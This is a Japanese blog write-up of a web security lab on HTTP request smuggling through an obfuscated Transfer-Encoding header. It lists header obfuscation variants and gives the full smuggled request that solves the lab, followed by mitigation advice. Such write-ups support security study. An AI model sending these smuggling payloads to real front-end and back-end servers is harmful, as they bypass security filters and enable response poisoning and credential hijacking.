shikata ga nai

Private? There is no such things.

HTTP request smuggling, obfuscating the TE headerをやってみた

Hello there, ('ω')ノ

 

HTTPリクエストの密輸、TEヘッダの難読化を。

フロントエンドサーバとバックエンドサーバがあって。

2つのサーバは重複するHTTPリクエストヘッダーを異なる方法で処理して。

フロントエンドサーバは、GETまたはPOSTメソッド以外のリクエストを拒否して。

 

ラボを解決するには、リクエストをバックエンドサーバーに密輸して、

バックエンドサーバがGPOSTソッドを使用しているように見えるようにするとか。

まずは、サイトにアクセスして。

 

f:id:ThisIsOne:20210309163826p:plain

 

Transfer-Encodingヘッダを難読化する方法は、無限にある可能性があって。

例えば:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked

 

Transfer-Encoding: chunked
Transfer-Encoding: x

 

Transfer-Encoding:[tab]chunked

 

[space]Transfer-Encoding: chunked

 

X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: xchunked

 

Transfer-Encoding : chunked

 

Transfer-Encoding: chunked

Transfer-Encoding: x

 

Transfer-Encoding:[tab]chunked

 

[space]Transfer-Encoding: chunked

 

X: X[\n]Transfer-Encoding: chunked

 

Transfer-Encoding
: chunked
Transfer-Encoding
: chunked

 

難読化されたTransfer-Encodingヘッダを処理しないように誘導できるのが。

フロントエンドサーバかバックエンドサーバかに応じて。

攻撃の残りの部分は、CL-TEまたはTE-CLの脆弱性と同じ形式になって。

 

この手法を使用すると、Webサイトに重大な損害を与える可能性があって。

セキュリティフィルタのバイパスや通常の応答の置き換え。

資格情報の乗っ取りなどが発生する可能性があって。

  

下記の場合は、Transfer-Encodingの一方がアクティブになって。

もう一方は、サーバによって無視されて。

 「5c」は、16進数の長さで。

10進数として計算すると、結果は92になって。

 

Host:以下を下記に変更して、Sendすると。


Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

 

x=1
0

 

f:id:ThisIsOne:20210309164030p:plain

 

さらにもう一度、Snedすると。

 

f:id:ThisIsOne:20210309164211p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210309164230p:plain

 

HTTPリクエストの密輸の脆弱性を防ぐ方法は。

 

バックエンドリクエストの再利用を無効にして。

各バックエンドリクエストが個別のネットワーク接続を介して。

送信されるようにして。


バックエンド接続には、HTTP / 2プロトコルを使用して。

このプロトコルは、要求間の境界に関するあいまいさを回避して。

 

フロントエンドサーバとバックエンドサーバに。

同じWebサーバーソフトウェアを使用して。

サーバが要求間の境界を認識できるようにして。

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain